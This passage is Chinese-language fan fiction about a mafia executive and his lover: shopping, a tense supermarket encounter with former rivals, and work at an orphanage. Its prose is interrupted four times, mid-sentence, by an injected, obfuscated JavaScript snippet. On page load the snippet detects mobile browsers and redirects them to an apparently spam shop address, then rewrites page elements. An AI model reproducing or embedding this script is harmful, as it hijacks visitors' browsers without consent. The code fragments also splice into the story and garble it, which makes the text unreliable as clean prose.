弥津先生也同意。即使没有大的病痛,偶尔的感冒咳嗽也是人之常情。说到咳嗽,弥津先生现在也时常随身带着一瓶喷雾药剂。他上次量衣服尺寸的时候,从口袋里摸到过。 弥津先生,你有想过回去看看吗,那里还有你的房子和没开的店面。 面前人的目光变得飘忽悠远,似乎看向了极其遥远的地方。过了很久才对他说,“对我讲一讲,我离开之后的故事吧。” 在漫长的讲述中,他们彼此缺失的部分被补齐了。 苏枋隼飞想说的事实在太多,佐久间弥津静静听着,仿佛他们是世界上默契最好的讲述者和倾听者。 在万籁俱寂的冬日,他仿佛注视着一座充满生命力的玫瑰园。每一株花朵都在朝着更广大的世界生长,每一片花瓣都散发着让人沉浸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950280|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的馨香,以不符合自然生长规律的茂盛,迸发出难以想象的蓬勃生机。他似乎度过了极寒的冬日,一跃而上,踏进了来年的暖春。 他瞬间忘记自己正担任着讲述者的角色,奋不顾身地从回忆中脱离,不知怎么,竟然凝视着那双眼睛说出了几乎是不加思考出现在他脑子里的话。 像气泡破裂般的短暂瞬间产生的想法。 “我喜欢你,弥津先生。” 被他突如其来的告白听得愣住了。 他的听众缓缓点了点头,有些摸不着头脑地说,“嗯……我知道。我也喜欢你。” 弥津先生始终那样望着他,有耐心地听他从收拾书店里的书,讲到毕业前和同伴们各自决定好了下一个目的地。除了先他一两年毕业的学长们,同班同学的事,他能讲不少。还有京成街,“六方一座”的家伙们的故事,不知道他已经离开所以吃了闭门羹的兔耳山丁子,平日里会帮忙盯着无人店面的橘琴叶。 他都不记得自己讲了多久。总之,和弥津先生聊这些往事,他们一边开始准备些简单的午餐。 弥津先生会下厨吗?他扭过头问。 那双能无情夺走别人性命的手也能用来撕食材外包装。 站在他身边的人低着头,神情意外地认真,“只能算会一点吧……以前一个人生活过的。现在,总部有餐厅,很方便。” 他能理解“犯罪组织总部也会有员工餐厅”这种事,但听起来还是相当割裂。 “嗯……毕竟犯罪分子也是人嘛。但工作忙起来的时候,我和我周围的人基本都不会按时吃饭。”也就闲下来,才能过几天作息正常的日子。 身份在不知不觉间突然变了。 弥津先生竟然愿意对他讲一些平时生活里的事。 和工作无关,也和组织机密无关,只是在工作之外的,诠释黑手党人黑色幽默的事。 “你还记得那个人吗,就是……” 放下手里的盒子,弥津先生仰头望着厨房的墙壁,似乎在冥思苦想。 “以前和信天翁去找我……还绑过你和樱的那家伙。身高和我相差不多,左眼眼下有个泪痣。他其实是个电影演员。” ……电影演员?他该问为什么黑手党组织成员能同时干电影演员的工作,还是问为什么电影演员会加入黑手党? “你想看他演过的电影吗。” “这个……这个就不必了。”他婉拒道。 弥津先生所讲的每一件事都有点出乎意料。这是他不曾踏足过的世界的另一面,但意外的…… “意外的有意思?” 嗯……算是。 “我的同事都是有趣但难搞的家伙。” 在这一刻,他能感受到弥津先生在聊起“那些家伙”时的轻松心境。能知道弥津先生的生活没有那么无聊和压抑,他也会高兴的。 他明白,弥津先生自己也明白。 他们都不能否认“佐久间弥津”这个名字背后代表的罪恶,但也不能否认“佐久间弥津”的存在。 午后,弥津先生看过手机上的天气预报后,对他说,“下午要去买点东西吗?明天的雪还不小。”能不出门的话,最好那么做。 好啊,他立马答应。 98.出门的干部 佐久间弥津戴了一条暖棕色的围巾。围巾遮住了他的脖颈和几乎下半张脸。他婉拒了苏枋想让他戴上的针织帽,“别人认不出我。” 认出来又如何,他不相信真有普通的横滨市民会把他送去警察局。也没见有人举报常年登上大荧幕的公关官是犯罪组织成员。 这辆车是上司送他的升职礼物,佐久间弥津对身边人说,“平时是优在开,他在兼职我的司机。我的车技不够好。” 不会随便撞向街边的建筑和行人,也不会乱踩刹车,但和周围其他人比起来,技术性实在不够看。其实他所认识的车技最好的人…… “信天翁最擅长这些。优也比不上他。” 佐久间弥津当过信天翁的“乘客”。即使当日有其他更不堪回首的记忆,但他也忘不了当时的心情。 信天翁开车时的潇洒劲一般人真比不上。 弥津先生,你很早就认识他了吗。 “我是说,镜优先生。”苏枋隼飞问。 “嗯。很早。优刚加入组织的时候就在我身边。” 他们两个都不能算隶属于组织的“杀手”。早年间有类似的任务,按着暗杀名单的顺序去完成,简单易懂,但后来逐渐转变得更综合,也更多样化,就像……原本志向去专业类院校学习特定专业的学生,早上出门发现自己开学前一天转学到了综合类院校。 要开车去吗?路况不算复杂,他还是能照着导航开完全程的。但目的地很近的话,用走得也可以。佐久间弥津的底气是他请了两天假,能让他中断假期的只有首领要见他这一件事,哪怕是公关官紧急“通知”他会议提前都没用。 “趁着还没下雪,顺便出门走走吧。” “好。” 冬日午后的街头萦绕着寒冷季节特有的冷寂氛围,行人大都忙忙碌碌地走着,对旁人不甚在意,不在乎别人是不是与人同行,更不在乎擦肩而过的人穿着的大衣是米白色还是亚麻色。 即使有人无意间发现从自己身边路过的二人是一对正牵着手的恋人,也会被窜进衣领里的冷意打个猝不及防,随后加快脚步离开,将瞬间的见闻抛之脑后。 世界如此之大,谁能时刻关心素不相识的陌生人的事呢。 他们牵手的动作太过坦荡,融洽又自然,以至于不会古怪得引起别人注意。 漫步在街头,只能聊点更贴近生活的话题。 比如,待会儿要不要买点易拉罐装啤酒。 佐久间弥津曾经有过把啤酒放冰箱当饮料喝的壮举,现在他喝酒的机会也少了很多,理由和已经成为首领的中也先生一样。不顾时机喝酒的话,会出事的,谁能断定自己下一秒不会接到电话说有紧急事务。即使“紧急事务”向来不属于佐久间弥津个人,可难道让他推给紫苑吗,还是让优顶着压力替他解决呢。 那是无比糟糕的上司才会做的事。 但考虑到自己有提前请假,最近的重要工作只有被迫去和异能特务科见面的事,佐久间弥津说,“买一点吧。可以放冰箱冷藏。” 这么说来,他们也可以买一些饮料放在家里。 货架上琳琅满目的各类饮料让人眼花缭乱。他也有段时间没有过如此充满生活气的日子了,有时间去找苏枋和那两个笨蛋之前,他刚处理掉几个中介组织。 在组织特地要求最近不要和想以非法方式入境的外国人接触后还不停手,真的值得吗。 他们给过极其丰厚的补偿了,可谁知道对方想赚两头的钱。他不懂生意,更不常接手组织的生意,但也忍不住想说这些生意人心也太黑了吧,肚子里弯弯绕绕一堆。以为交涉对象从专业人员换成不以经营为长处的他就能轻易哄骗?不应该更不会骗吗。 大概这就是无知者无畏吧,不了解他手中成员们的一贯作风,因为面生就以为他们都是新人。如果商业统合那边天天打交道的对象都是这样听不懂暗示的蠢笨家伙,他真怀疑他们的工资条里有一项精神损失费。 直接点的武力争斗比生意场上的互相算计轻松太多了,他说真的。 他的手在货架前犹豫。 艰难地回忆以前会放在书店隔间冰箱里的……是果汁、茶和碳酸饮料。品牌不记得了,他现在只好挑比较耳熟的知名品牌。 买太多也不好。他不是担心有人一夜之间把冰箱扫荡干净。难道苏枋还是小孩子吗,他再也不会把苏枋当小孩看了。 再新鲜的蔬菜水果放冰箱,久了都会蔫掉、软掉,生产日期新鲜的牛奶、茶饮、饮料放久了是不是也会让人失去喝它的冲动呢——他知道这种顾虑有点神经质。 他忽然想到自己和苏枋相差四岁。等他三十岁的时候,苏枋还只有二十六岁呢。他从来没问过苏枋家人的事,现代社会能接受子女和同性恋人过一辈子的家庭也不多……但等他安然无恙地活到三十多岁再想之后的事吧。 他低头清点购物推车里的几瓶饮料和易拉罐装啤酒,忽然察觉到一份来自不远处的敌视和警惕。 就在这间超市里。 * 就算这个银发红眼的男人围着一条遮住大半张脸的围巾,身上的衣服日常得像街边服装店会向外展示的款式,他们也不会认错。 男人扭头望了过来,视线掠过从他们之间毫不知情的其他顾客们,精准迅速地锁定了他们三人的位置。 特别是那双眼睛,这一定是佐久间弥津本人没错。一双色彩热烈但情绪平淡的眼睛,见过就很难忘了。 他们当中有人第一次见这名港口黑手党的干部。少女下意识想要摸出自己的短刀,身边站着的人却立即按住了她的手。 那是谁,很危险。少女低声说。 那是…… “是组织的人。”中岛敦先如此说道。 看来他该换一个购物地点了。不然和佐久间弥津面对面的次数会越来越多。 佐久间弥津,是那位先生曾经的部下,也是港口黑手党现在的干部之一,“当年出事后……他被那位立即召回了组织。” 召回的当日被任命为准干部成员。直到今年,他听说了佐久间弥津从准干部升任干部的事。 佐久间弥津不是组织历代最年轻的干部,也并非历代最强的干部。因为前者已逝,而后者是如今的首领。 就他所听说的情况来看,佐久间弥津绝对是最忠心于现任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954231|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首领的干部。雷厉风行,实力足够,组织的利益大于一切,而且凶名在外,登上了通缉令。 这正是任何一个犯罪组织都想要的人。 他和佐久间弥津的交集说来也有点复杂。只是当年的意外早就是过去式了,他不会在外人面前提起,更不会以此作为何种筹码。 只是他们之间仍然其他共同的秘密。 佐久间弥津本人很难用好与坏去评价,因为他是个清醒的犯罪者,为了组织的利益去犯罪。不是因为喜欢或是发泄情绪而去犯罪,也不是因为报复社会而走上犯罪的道路,更不是走投无路或者被强迫。 一个依旧纯粹的黑手党人,同类眼中极其优秀的黑手党人。 这类清醒犯往往很难缠。 脱离港口黑手党后的漫长时日都在外地独居的少女始终做着拔刀准备。 他为什么出现在这里。 “……是顾客。” 芥川龙之介低声说。 这家伙,现在也只是一个顾客而已。 不是港口黑手党的干部,也不是应该被逮捕的通缉犯,而是作为横滨市民,来到一家大型商超采买食物。 佐久间弥津的衣着打扮和行为举止能说明这个。极其日常的着装,甚至也戴围巾防寒,像许许多多普通顾客一样,站在货架面前,往购物推车里放货品。 港口黑手党的干部难道住在附近?这可是不可多得的情报。 他瞧见这个男人往推车里摆了一列……饮料和啤酒?这也太日常了吧,那种组织的高层也会买廉价啤酒喝吗? 男人瞧了他们一眼,便扭回头去,把他们当成了空气,看起来不想和他们在这种时候有接触,带着推车去往下一个货架。 明明他们才是应该避之不及的人吧…… 可紧接着,他们的视野里突然多了一个人。 一个同样年轻的人,单眼眼罩遮住右眼,流苏耳饰随走路的动作摇晃,手里提着从其他商品区拿来的几样蔬菜,走近被他们警惕的人,脸上的笑容开怀又放松,和黑手党干部相处的氛围极其和睦,一同带着推车去到别的区域。 所以这家伙是谁?他上次和中岛在附近遇到案发现场时也见过这家伙,和佐久间弥津举止很亲密地从巷口走过去。 若不是那起案子一看就是其他死法,从案发现场路过的黑手党组织干部本该立刻成为他的怀疑对象。 家人?上下级——这不对吧,那么亲密,黑手党组织内部能搞办公室恋爱?还是说,其实只是港口黑手党的新人,但佐久间弥津十分注重培养新人。 不,不。 芥川龙之介心想,不会是黑手党的新人。受佐久间弥津重视的人连站在一边的他们都没发现,一点也不合理。 这次偶遇,无事发生。他们安全地和彼此拉开了距离,双方默契地各退一步。 商超里人来人往,顾客们的喧闹很快冲淡了这瞬间的紧张气氛。 和那三人心中的各种看似深刻的发散思维不同,佐久间弥津只想安全地结账出门。偶遇前成员和“前敌人”的事,并没有在他心里激起几片涟漪。 用纸币结账吧,他心想。 99.假期结束的干部 深夜,晶莹雪花从夜空飘落的时候,他们还没做好休息的准备。 换过家居服的人立在窗边,透过玻璃望着室外的飘雪,却在看到自己映在玻璃上的样子时走神了。 他要不要……也去打个耳洞呢。 雪会越来越大的。等明天一觉睡醒,没准就会发现大雪封路了。气温如此之低,雪很难化掉,以他的车技,真的能安然无恙地开车回总部吗。 看了眼手机屏幕,他的手指滑到接听键上,“什么事需要你亲自打电话给我。” “没什么。只是听说你又请假了,提醒你别忘了之后的事。如果你临阵脱逃,我会很难办的。” 他怎么可能做那种事,“地点和时间。” “上午十点整。地点的话,你跟我走就好了。别的不用想。” “你……” “我没想和你扯太久废话,有话直说吧。” “你到年底前还有拍摄工作吗?”电影拍摄、杂志还有采访之类的提前计划好的工作。 “就算有也可以推掉,是灵活的。你想做什么?” “之后,见了面再说。” 如果没别的事,他先挂了。 收好手机,回过头看着走进卧室来的人,佐久间弥津问,“一个人会孤单吗。” 苏枋隼飞倒是没这么觉得。孤独也好,空虚也好,不是所有独居的人都会沦为这样的精神状态。弥津先生忙工作的时候,他表面看着孤身一人,其实和樱他们仍然保持着联系。 佐久间弥津又问,苏枋愿不愿意去一家孤儿院帮忙,“那里的院长和我是……旧识。孤儿院离市中心比较远,离这里不算远。” 听起来弥津先生有别的打算,但只是去给弥津先生的旧识帮忙的话,苏枋隼飞自然是会答应的。 第二日清晨,果然如他们所想,天地间苍茫一片,让人生不出出门的心思。 雪后比下雪时更冷,幸好家里很暖和,捧杯热茶就可以在沙发上坐一天,佐久间弥津心中不舍地答应,冰箱里剩的最后一瓶啤酒,下次再喝。 苏枋隼飞问起,过去两年的冬天是怎么度过的。 “都在欧洲那边。”佐久间弥津双手握着茶杯,从掌心源源不断传向身体各处的暖意让整个人都变得懒散起来,“英国,意大利……偶尔会去德国。看工作情况。”需要他去哪出差,他就会去哪。 升任干部后的第一个冬天居然没回欧洲,很多习惯冬季见到他的成员不免会觉得奇怪。 英国的冬天都是雨。对他的能力来说,雨天比雪天好,但就体感而言,雪天更干爽。所以他的确更喜欢国内的冬天一点。 何等让人恍惚的时刻。 他居然能在冬日雪天,留在“家”里悠闲地喝茶,比他用办公室的电脑下载游戏还不可思议。 他手中的茶杯不像国内能随便买到的质量,茶的气味也清爽怡人。 “茶具的话,是确定要留在横滨之后,从家里取来的。”苏枋隼飞说。家里的茶具不少,被他悄悄拿走一件也看不出来。 佐久间弥津又能说什么呢,他暂时……还没做好和苏枋谈“家庭”的准备。 可惜平静的生活会像水一般流走。 黑手党的干部先生要回去工作,而被委以“重任”的年轻人按响了孤儿院大门的门铃。 是的,孤儿院是有门铃的,可是大部分生活在这里的小孩子用不着,只有个位数的职工也不需要用。 这意味着只有“客人”才会按响门铃。 大门向内打开,年龄相同的年轻人们面面相觑。 中岛敦“咣”的一声把门闭上。好奇怪,他怎么……怎么看到了那个人的脸? 来人的轻笑从门外传来,“怪不得弥津先生让我来这里帮忙,原来是因为你吗。” “——不!绝对不是因为我。” 是因为院长吧。 中岛敦缓慢地把门再次打开,满腹狐疑地看着这个不请自来的客人,问道,“他……让你来做什么。” 他觉得佐久间弥津在兜圈子设计出乎所有人意料的宏大计划。 “谁知道呢。”来人对他友善地笑着,“我可以进去吗。” 中岛敦犹豫了片刻。 这个人……自称苏枋隼飞的人,是佐久间弥津的密切关系者。和港口黑手党没直接关系,但能从组织的地牢安然无恙地离开,说只是因为佐久间弥津的“心软”也太难让人信服了。可是,一个没有异能的普通人,就算被佐久间弥津“指使”去干坏事,很不容易吧。 于是,大门此刻才算打开。 自己应该先去见据说是弥津先生旧识的院长,苏枋隼飞说,“我还不知道弥津先生让我来做什么。” 只是“帮忙”,那也太宽泛了。 “……先跟我来吧。” 孤儿院不小。进门后,先走过了一大片庭院,如果是春夏季节,各种植物郁郁葱葱,一定会相当好看。随后,便能进到主楼,院长先生和职工们工作的地方。 主楼后又是一片宽敞的庭院,庭院后就是小孩子们住的地方,离门最远,但也最安全的房子,上下共三层的矮楼,这是为了年纪尚小的孩子们的安全着想。 主楼里的房间都挂着明显的标牌,功能性完备又清楚。 他们停在标有院长室牌子的房门外。 站在苏枋隼飞前面的人敲了敲门,听到里面传来一声回应,便拧动门把手,把门向里推开。 说实话,这位院长和苏枋隼飞最初的想象很不一样。弥津先生既没有解释为什么要他来这里帮忙,也没说帮什么忙,更没有说孤儿院的院长先生是个什么样的人。 其实,提起“院长”这个词,他脑海中浮现的是上了年纪,白发苍苍的慈祥老人。但今日一见,他发现并非如此。即使这位先生显然是弥津先生的前辈或者说长辈一类的人物,也和年老的形容毫不相干,甚至在他们一前一后进门时,还在研究桌上的书籍。 所谓的院长室,更像一间宽敞的私人书房。 “我还以为,佐久间君会亲自带你来见我一趟。他居然放心让你一个人来。” 苏枋隼飞隐隐觉得眼前的中年男人和弥津先生关系没有他想象中简单。不过,弥津先生不愿意说的话,他不会越界探究。 越是以恋人的身份相处,他就越能知道,不探究弥津先生的作为,对他们的关系健康发展是非常必要的。身心的距离足够近的话,很多事都可以放下。 他坦然接受院长先生的打量,“弥津先生有走不开的工作在身。请问, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962100|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我应该做些什么。” 院长先生把手中的钢笔戴上笔帽放下,颇有兴趣地问他,“你有擅长的事吗?或者说,喜欢的事。我是指,在你的生活中。” 这个嘛,泡茶和看点外文书算吗? “你的耳环是古董物件吗。” 欸……不可思议。 注意到沉默着站在自己身边的中岛敦也朝自己递来有些诧异的视线,他压下心中的情绪,半真半假地回答说,“把这件东西给我的人是这么说的。究竟是不是,我也没有判断的好办法。” 院长先生不再问起他的事,而是让中岛敦带他去认识主楼里的房间。 重新摘下笔帽的人说,“今天,至少把位置记住吧。” 如果这就是他今天要做的事,未免也太简单了。 谁也没有对他明说所谓的“帮忙”究竟是什么意思,一路上唯有在带路和介绍房屋作用时才会说话的中岛敦也是这样。 像是有什么事只有他被蒙在鼓里,这种感觉很难受。兜兜转转,他又跟着中岛敦回到了主楼一楼。 四下无人,中岛敦转过身来,询问道,“我可以,问你一个问题吗。” “和弥津先生有关吧。”也只有这一点了吧。 嗯……是。 可当中岛敦承认了自己的想法后,却顿时感觉眼前的年轻人一改彬彬有礼的友善气质。 那只望着他的完好左眼里笑容渐深。 好似掀开搭在魔术箱上的暗红绸布,魔术箱里的一切都是为完成一场伟大的魔术而诞生的,远非观众心想的那般简单。 “可以哦,尽管畅所欲言。” 你和他……是什么关系。 是佐久间弥津延伸出的“手”,还是为他卖命的“士兵”。 “都不是。” 说话的人站立不动时喜欢将手背在身后,似乎这样方便其思考。 “你就当,我和弥津先生是恋人吧。” ……? 什么。 见他像没听懂一样愣在原地,苏枋隼飞又对他说,“恋人,情人,情侣,这些称呼我都能接受。” 手抖了一下,中岛敦才像被吓醒一样回神。 他明白了。为什么会在横滨遇到寻找佐久间弥津的苏枋隼飞,为什么他能在那间超市偶遇两人,又为什么苏枋隼飞在组织的地牢呆很长时间却看起来毫发无伤,这些问题都有了答案。 但回过神来,他却觉得还不如不明白。 明白了一个问题,就会冒出来更多问题。问题是无穷无尽的。 “三年前的时候,你们也是这种关系?” “虽然我也很想这样,但很遗憾,当时还不是。” 中岛敦被问号塞满的脑袋里空出一丝缝隙,一句话从中脱颖而出,“你……不知道他是通缉犯吗?” 跑来横滨找港口黑手党的干部,莫非是为了追求他?多么荒唐又奇妙的故事,中岛敦心想。 他知道啊。 “弥津先生在四年前就对我承认过他是犯罪组织成员,从来没瞒过。” 但犯罪组织成员也能有私生活吧。 况且,“为什么弥津先生是通缉犯却没有被抓捕归案,在横滨生活得更久的你,要比我更明白其中的原因才对。” 100.深夜回家的干部 他对孤儿院其实不算陌生。但原来“帮忙”的意思,真的是处理日常工作的意思。 大雪过后,得先把雪扫干净,之后,还要清点孤儿院仓库里的东西,生活用品和办公用品。住在这里的小孩子年龄不一,但即使是最大的小孩,年纪也比他和中岛敦年纪小。 苏枋隼飞有对佐久间弥津讲孤儿院的事,只可惜工作繁忙的人只来得及回些看不出情绪的字眼。 他也问过,我们下次见面会是什么时候呢。 弥津先生却问他,在那里帮忙还习不习惯,有没有遇到棘手的问题。 当然没有,和他还是学生时做的事类似。 至于中岛敦在得知他们之间关系后的反应,他也觉得没什么。 很明显吧,弥津先生是个对自我有清晰认知的人。他们都知道“佐久间弥津”的结局可能会走上最差的那一种,但又有什么关系呢,即使前方是荆棘地狱,他也会留在弥津先生身边。 “再过两天吧……”弥津先生对他这样说,然后稍有些意义不明地低声重复道,“过两天。” 他实在过分习惯等待了,但好在这次等待的结果令人心动不已。 十一月底的某日深夜,弥津先生带着那把他十分眼熟的伞出现在门外,而他则在收拾院长先生拜托他帮忙整理的数量簿。 不久前在他脑海中出现过的人此刻真实地站在他面前。嘴唇有些干,连日的工作也让眼白里布满红血丝,眉眼间满是挥不去的困倦,他甚至第一次想用“憔悴”这个词语来形容结束忙碌工作之后终于有时间来见他的人。 他连忙放下手里的东西,接过弥津先生手里的伞……还有弥津先生从大衣口袋里拿出来的U盘和喷雾药剂。 “我以为,这个时候你已经休息了。” 弥津先生双手都戴着他不知见过多少次的黑色手套,此刻在他眼前摘掉,又多走几步,扔进了外面的垃圾桶。干完这一切,才算是进到家里。 “还没有呢。”他回答说。 只要杯温水,声称已经吃过晚饭的人不需要别的任何能补充能量的东西。 干部先生瞥了眼桌上的东西,语气倦怠地说,“……他就让你干这些吗。” “他”是指……院长先生?听起来弥津先生好像对那位先生有很大的怨气似的。他点点头,说,“所以,我才说一点都不难。”确实只是帮忙的程度。 回房间换掉家居服又强撑着精神洗过澡的弥津先生肉眼可见的累。他把弥津先生按在椅子上,替他吹干头发,才送人去休息。 他的左手忽然被拉住。回握着弥津先生的手,他解释道,“我很快就会整理好的。之后,只需要明天一早带去孤儿院。” “明天,你对院长说,你这段时间只能上午去了。如果他问你为什么,就对他说,是我的‘命令’。别人问你,就敷衍过去,别回答。” 其实,他也想问为什么,可他却猝不及待地被弥津先生拥进怀里。 他的胳膊早在脑子反应过来之前就搂上了弥津先生的腰,嗅着弥津先生身上和自己一样的沐浴露的味道,他在安静中不断渴望延长这个温暖的拥抱。 他不好奇了。 答案哪有弥津先生的主动有意义。 “上司给我放假了。我可以呆四五天。只不过,白天不能出门。” 晚上……普通人谁会在冬夜出门呢。 他满意地点头,“好啊,弥津先生。” 忽然对孤儿院的事撒手不管也不好。既不尊重院长和孤儿院的其他人,也不尊重自己。折中一下,就会是所有人都接受的方案了。过去这么些日子,他明白院长先生没有把他看作在孤儿院“工作”的职员,而是如弥津先生所说的去“帮忙”的人,虽然仍然想要为他提供一份不菲的薪酬,也被他婉言谢绝。 他为久居横滨做了很多准备。而且,就算不提这个,光是弥津先生上次美名其曰让他去取衣服的钱,完全足够他进横滨最贵的服装名牌店,为弥津先生准备一年四季每天都不重复的衣服。 虽然这种“被包养”的幻觉有些可怕,但更可怕的是弥津先生这次还打算这么干,他只好阻止。如果他的银行账户里出现太多有蹊跷的大额交易往来,不是和弥津先生想让他与黑手党组织保持距离的想法背道而驰了吗。 这一夜他们并没有做什么。因为弥津先生很快睡着了,似乎毫无防备地熟睡着。 他收拾好第二天要带走的东西后,轻手轻脚地走进虚掩着门的卧室,看到只亮着昏暗小夜灯的房间里,弥津先生侧躺着,睡在靠窗的一边,但背对着窗户的方向。小夜灯的亮度不高,像传说中古代用来照明的夜明珠,他勉强能看清脚下不会有东西绊倒他。 那双让他屡屡出神的玫红色的眼瞳他今日是没办法再看到了,心里有点小小的遗憾。但弥津先生已经很累了,该早点休息才对。 他慢慢地挪到床边,自以为动作极轻。 小夜灯的微弱光线让他得以看清弥津先生的睡颜。 若是不了解弥津先生的工作性质,绝对想不到这个长相其实相当柔和的人,睁眼后的气质与睡着时给人的感觉天差地别。 他轻轻掀起自己这一边的被子,伸手去关床头柜上的灯,但指尖刚一触及塑料外壳,发出嗒的轻响,小夜灯熄灭的瞬间,床上的人小幅度地动了动,似乎被声音惊动,动了下脑袋,想看清眼前发生了什么。 黑暗中,弥津先生的呼吸频率和方才睡着时显然不一样了。他无端紧张起来,抓着被子,僵在原地。 直到弥津先生用低哑的嗓音问他,“结束了吗”,他才回过神,一边回答“结束了”,一边麻利地爬上床躺下,还趁着弥津先生中途醒来,大胆抱上弥津先生的腰。这次他就算睡着也不会放开了。 他们靠得很近,他的脑袋再往前凑一点就能吻在弥津先生唇边。 这几天,在这里好好休息吧,弥津先生。你看起来实在太累了。 被他抱在怀里的人没有否认他的判断,也没有避开他的亲近,轻轻答应了一声,“好。” 明年,你想要怎样的生日礼物。 “生日礼物?”但距他的生日还有好几个月呢,而且,就算弥津先生这么问,如果直接告诉别人自己想要什么,感觉索要的意味会更重吧。 他不想向弥津先生索要什么,除了感情。 “不着急,慢慢想。”他耳边的声音仿佛是弥津先生的呓语,“但早点告诉我的话,我可以提前准备。” 温热的掌心贴上他搂在弥津先生腰侧右手的手背。 弥津先生轻轻搭着他的手,说,“睡吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967404|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你明天上午还要忙。 精神疲惫的弥津先生很快在他身边沉沉睡去,方才短暂的清醒像是等待他已久。 一夜无梦。第二日清晨,他迎着冬日室外的严寒刚要出门,回头却发现被他叮嘱继续休息的人站在厨房门口,手里提着壶口仍在冒些微热气的茶壶。昨夜没能再仔细看一眼的眼瞳目光平静地望着他。 “不再多睡一会儿吗。”他问。 弥津先生是什么时候醒的?他居然没发现。 望着他的人摇摇头,“我放了好几天假。”无需贪图一日的安逸。 “好……等我回来,弥津先生。” 他按弥津先生的要求,对院长先生说了那番话。 院长先生听了他的诉求,若有所思。似乎想到一定是弥津先生说了什么,院长先生很快点头表示明白。 既不问原因,也不问他下午要去做什么,日常“工作”的内容还是照常安排的,并没有因为他半日的缺席就作何改变。 他是很好奇这位院长和弥津先生是怎么认识的。从年龄上看,当师生是很合适,但弥津先生对院长先生的态度有时反而让彼此看着像有过节的人。可如果当真是有过节的人,又怎么会放心让他去孤儿院帮忙。 内情大概又是极其复杂吧。 听说他一连几天下午都不会来,对他始终抱有一种特别态度的中岛敦随口问他原因。 显然,弥津先生口中“别人”一定是指中岛敦。 “以前读书时认识的朋友来横滨找我,下午要陪朋友去他想去的地方。” 其实弥津先生也能算读书时认识的“朋友”吧。他在心里想着。 正午时分,他又回到了有弥津先生在的家。 宅家约会才更适合弥津先生这样身份特殊的人。休息过一夜,看起来精神好了不少——还趁着他不在,喝光了冰箱里最后一瓶易拉罐装啤酒,怎么看都完全恢复精神了——但昨夜浓重的疲惫感和身上的伤口一样让人心疼。 如果弥津先生从来都不是黑手党组织的成员,会做什么呢。 他这么问,一同走进厨房站在他身边的人思考片刻,说,“我也想不到。” 十几岁成为了犯罪组织组织成员的人,难以想象出自己走另一条路的样子。 如果世界上真的存在另一种更美好也更明智的选择,对如今的佐久间弥津就太过残忍了。他和血亲分别,又将命运亲手涂黑,换来如今的凶名,却有人告诉他,他本可以过另一种宁静的,和现在相比也不算差劲的生活。 “可能……会普通的当个学生。然后,正常的毕业,步入社会?” 当个虽然不会有多少成就,但生活稳定的普通公司小职员,就已经超过很多连自己的人生都决定不了的倒霉蛋了。 但如果他过上了那样的平静生活,“我们就没有见到彼此的可能了。” 哪怕有人告诉他,他现在可以抛下一切,回到安宁的、不是通缉犯也不会被悬赏、不用双手沾满血腥的生活里,他一定会犹豫的。他放不下组织的一切,也放不下在这条命途中认识的人。 两种未来,只能择其一。 “嗯……这也许就叫‘代价’吧。”苏枋隼飞说,“我会陪你的,弥津先生。” 无论结局是什么,他都会留在这里。 101.被说过分的干部 果然只会在夜里出门的弥津先生披着月色潜入黑暗中,不久后带回了一台笔记本电脑,还有一枚浪花形状的胸针。没有别在衣服上,而是装在口袋里。 究竟是不是以前在书店用的那台电脑,时间有点久了,苏枋隼飞也认不出来,没准只是同品牌同型号。屏幕上打开的界面标志不像普通网页,他自觉地扭过脑袋,换了个位置,不去关心弥津先生在和何人交流。 他坐到旁边的沙发上,无声地看着弥津先生手速极快地打字,仿佛回到了他还在风铃读书的时候,上学下学都能经过书店的平凡生活。 那些单纯又充满真挚感情的日子。 弥津先生有的是时间玩电脑游戏,毕竟连弥津先生本人也承认书店一直在亏钱,只是自己有点“积蓄”。他当时还抱有,只要亏到一定程度弥津先生就会认真经营书店的幻想,只不过,现在看来,弥津先生就算开一辈子亏本书店都不会花光那些积蓄。 